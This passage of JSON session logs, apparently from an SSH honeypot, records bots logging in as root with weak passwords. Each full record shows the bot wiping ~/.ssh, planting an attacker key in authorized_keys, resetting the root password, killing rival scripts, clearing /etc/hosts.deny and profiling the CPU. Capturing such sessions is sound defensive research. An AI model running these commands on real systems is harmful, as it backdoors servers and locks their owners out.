0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:55:56.419399+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:55:57.263412+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:55:57.592441+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:55:58.463034+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:55:58.789379+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:55:59.576703+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:55:59.911787+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:56:00.904323+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:56:01.232649+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:56:03.099130+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Passw0rd@2026","method":"password","accepted":true,"tier":"other"}]} {"id":"4a14eff5-6cc0-41d5-9fc0-4fa9df943ae4","name":"gallant-coral-goose","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59934,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":450,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:55:54.249532+00:00","ended_at":"2026-08-27T12:55:55.305917+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:55:32.767114+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:55:33.218105+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:55:37.759601+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:55:38.547187+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:55:38.995944+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6cDpRNj8vxnL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:55:39.443902+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:55:39.895156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:55:40.797055+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:55:41.253461+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:55:42.182262+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:55:42.632535+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:55:43.994206+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:55:44.442077+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:55:45.222374+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:55:45.677971+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:55:46.362079+00:00","kind":"output","latency_ms":null,"data":" 12:55:46 up 7 days, 9:45, 0 user, load average: 0.1, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:55:46.812017+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:55:47.423484+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:55:47.873862+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:55:48.276074+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:55:48.731800+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:55:49.121025+00:00","kind":"output","latency_ms":null,"data":"top - 12:55:49 up 7 days, 9:45, 0 user, load average: 0.1, 0.08, 0.07\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:55:49.571434+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:55:50.049124+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:55:50.499362+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:55:51.039487+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:55:51.490349+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:55:51.850057+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:55:52.299421+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:55:53.801192+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:55:54.250252+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:55:55.167855+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456780","method":"password","accepted":true,"tier":"other"}]} {"id":"77fe352d-ca94-40a2-91d5-880dded9378e","name":"oaken-curious-sable","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":43992,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:54:14.420708+00:00","ended_at":"2026-08-27T12:54:15.991145+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:53:56.555827+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:53:56.854178+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:54:01.064824+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:54:01.419946+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:54:01.724552+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pfUELMtffuah\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:54:02.018746+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:54:02.319093+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:54:03.062144+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:54:03.363640+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:54:04.387579+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:54:04.693734+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:54:05.620619+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:54:05.921538+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:54:06.519738+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:54:06.817938+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:54:07.698555+00:00","kind":"output","latency_ms":null,"data":" 12:54:07 up 7 days, 9:44, 0 user, load average: 0.13, 0.16, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:54:07.999489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:54:08.541498+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:54:08.841036+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:54:09.209639+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:54:09.508213+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:54:09.790104+00:00","kind":"output","latency_ms":null,"data":"top - 12:54:09 up 7 days, 9:44, 0 user, load average: 0.13, 0.16, 0.11\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:54:10.089150+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:54:10.827662+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:54:11.127163+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:54:11.498045+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:54:11.803918+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:54:12.543248+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:54:12.842284+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:54:14.122655+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:54:14.421668+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:54:15.906258+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"gb.123456","method":"password","accepted":true,"tier":"other"}]} {"id":"531cd024-fe1e-45ff-b7d0-72e35385721e","name":"fierce-freckled-owl","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":49812,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:54:05.492043+00:00","ended_at":"2026-08-27T12:54:07.607201+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:53:46.485330+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:53:46.831390+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:53:49.927927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:53:50.507010+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:53:50.862293+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ycweyTQ686YA\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:53:51.209483+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:53:51.552703+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:53:52.218360+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:53:52.567730+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:53:53.481391+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:53:53.832526+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:53:55.264523+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:53:55.615444+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:53:56.298169+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:53:56.647168+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:53:56.995065+00:00","kind":"output","latency_ms":null,"data":" 12:53:56 up 7 days, 9:44, 0 user, load average: 0.29, 0.32, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:53:57.343274+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:53:58.216341+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:53:58.563277+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:53:59.357578+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:53:59.703457+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:54:00.101131+00:00","kind":"output","latency_ms":null,"data":"top - 12:54:00 up 7 days, 9:44, 0 user, load average: 0.29, 0.32, 0.29\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:54:00.447126+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:54:01.219406+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:54:01.567963+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:54:02.466471+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:54:02.820070+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:54:03.497132+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:54:03.844808+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:54:05.146223+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:54:05.493080+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:54:07.503065+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456Cc","method":"password","accepted":true,"tier":"other"}]} {"id":"dc7fc61d-c17f-4018-ba98-b97ee9b95beb","name":"sullen-restless-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59912,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":445,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:53:15.753493+00:00","ended_at":"2026-08-27T12:53:16.740548+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:52:54.306921+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:52:54.751098+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:52:59.504104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:53:00.398184+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:53:00.846615+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ICIvCSIfWQc7\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:53:01.295815+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:53:01.740583+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:53:02.247254+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:53:02.696266+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:53:03.970557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:53:04.437048+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:53:05.717620+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:53:06.179840+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:53:06.490178+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:53:06.934519+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:53:07.480154+00:00","kind":"output","latency_ms":null,"data":" 12:53:07 up 7 days, 9:43, 0 user, load average: 0.22, 0.22, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:53:07.921554+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:53:08.334279+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:53:08.777955+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:53:09.123364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:53:09.566916+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:53:10.245354+00:00","kind":"output","latency_ms":null,"data":"top - 12:53:10 up 7 days, 9:43, 0 user, load average: 0.22, 0.22, 0.25\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:53:10.702189+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:53:11.459509+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:53:11.904266+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:53:12.532966+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:53:12.980251+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:53:13.766945+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:53:14.211532+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:53:15.316113+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:53:15.754759+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:53:16.596440+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwerty121","method":"password","accepted":true,"tier":"other"}]} {"id":"b474a105-1c8f-4b7a-a107-b6513d19cb4c","name":"wandering-icy-narwhal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":51332,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 